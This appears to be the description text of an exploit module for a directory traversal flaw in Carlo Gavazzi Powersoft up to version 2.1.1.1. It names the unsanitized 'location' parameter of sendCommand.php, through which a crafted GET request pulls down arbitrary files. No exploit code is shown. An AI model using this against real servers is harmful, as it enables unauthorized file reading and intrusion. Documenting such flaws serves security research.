    				This module exploits a directory traversal vulnerability
    				found in Carlo Gavazzi Powersoft <= 2.1.1.1. The vulnerability
    				is triggered when sending a specially crafted GET request to the
    				server. The location parameter of the GET request is not sanitized
    				and the sendCommand.php script will automatically pull down any
    				file requested
